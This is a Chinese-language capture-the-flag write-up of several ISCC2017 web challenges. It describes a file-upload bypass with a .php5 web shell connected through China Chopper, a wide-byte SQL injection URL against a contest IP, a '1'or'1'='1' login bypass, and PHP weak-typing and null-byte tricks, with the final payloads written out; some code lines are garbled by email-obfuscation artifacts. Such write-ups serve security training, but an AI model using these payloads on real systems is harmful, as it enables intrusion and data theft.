ISCC2017 Web write up

ISCC2017 Web write up

打开连接:

ISCC2017 Web write up

注意You give me f1ag and I will give you flag too~~~

这段话有猫腻,没错就是f1agflag

提交f1ag

ISCC2017 Web write up

出现:,就给我一个flag我才不和你换呢。

右建查看元素。

ISCC2017 Web write up

发现有个输入框被隐藏了,把type=”hidden”改为type=””.

出现了输入框,并两个输入框输入f1ag.

ISCC2017 Web write up

出现:,就给我一个flag我才不和你换呢
还不够诚意,不和你换FLAG。

这句话暗示了FLAG.说明还要提交一个参数给FLAG(到这里就是考验脑洞了,最后一个话很灵性!)

接下来,给将参数f1ag赋给FLAG。

ISCC2017 Web write up

提交。

ISCC2017 Web write up

Flag: {N0w_go1Odo!otherw3b}

ISCC2017 Web write up

访问地址,是个上传框。

ISCC2017 Web write up

PhpApache环境,简单的一步步围绕xx.php.xx格式尝试有什么没有过滤掉。Apache解析漏洞对它不起作用。

最后确定,xx.php5(大于5)可以上传并解析。

上传一句话(这里是1.php5

ISCC2017 Web write up

菜刀连接成功。

ISCC2017 Web write up

获得信息,flag在数据库里边。

同样的方式上传我们的大马。

Sql搜索语句:SELECT*FROM flag

ISCC2017 Web write up

ISCC2017 Web write up

访问连接,在连接后面加flag.php

ISCC2017 Web write up

试了下,是宽字节注入,访问:

http://139.129.108.53:6980/web-08/?id=%df%27%20union%20select%201,unhex(hex(thisisflag))%20from%20flag%20limit%201--+

ISCC2017 Web write up

flag:{441b7fa1617307be9632263a4497871e}

ISCC2017 Web write up

打开连接。

ISCC2017 Web write up

用御剑扫描目录发现有robots.txt

ISCC2017 Web write up

发现路径,访问它。

ISCC2017 Web write up

尝试加个admin.php(也可用御剑扫)成功访问后台。

ISCC2017 Web write up

是后台管理登入界面,进去无非就暴力**,万能密码,社工等。

使用万能密码逐个试。1’or’1’=’1

ISCC2017 Web write up

ISCC2017 Web write up

查看源码

$v1=0;$v2=0;$v3=0;

$a=(array)json_decode(@$_GET['iscc']);

 

if(is_array($a)){

    is_numeric(@$a["bar1"])?die("nope"):NULL;

    if(@$a["bar1"]){

        ($a["bar1"]>2016)?$v1=1:NULL;

    }

    if(is_array(@$a["bar2"])){

        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");

        $pos = array_search("nudt", $a["bar2"]);

        $pos===false?die("nope"):NULL;

        foreach($a["bar2"] as $key=>$val){

            $val==="nudt"?die("nope"):NULL;

        }

        $v2=1;

 

    }

}

[email protected]$_GET['cat'];

[email protected]$_GET['dog'];

if(@$c[1]){

    if(!strcmp($c[1],$d) && $c[1]!==$d){

        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;

        strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;

    }

}

if($v1 && $v2 && $v3){

   

   echo $flag;

}

可以看出iscc是一个jason对象。

这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。 bar12017a即可

bar2是一个数组,长度是5,里边第一个元素是数组。bar2[[0],0,1,2,3]即可

arraystring进行strcmp比较的时候会返回一个null%00可以截断eregicat[0]=00isccctf2017&cat[1][]=1234&dog=%00

最后提交

?iscc={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=00isccctf2017&cat[1][]=1234&dog=%00

flag{sfklljljdstuaft}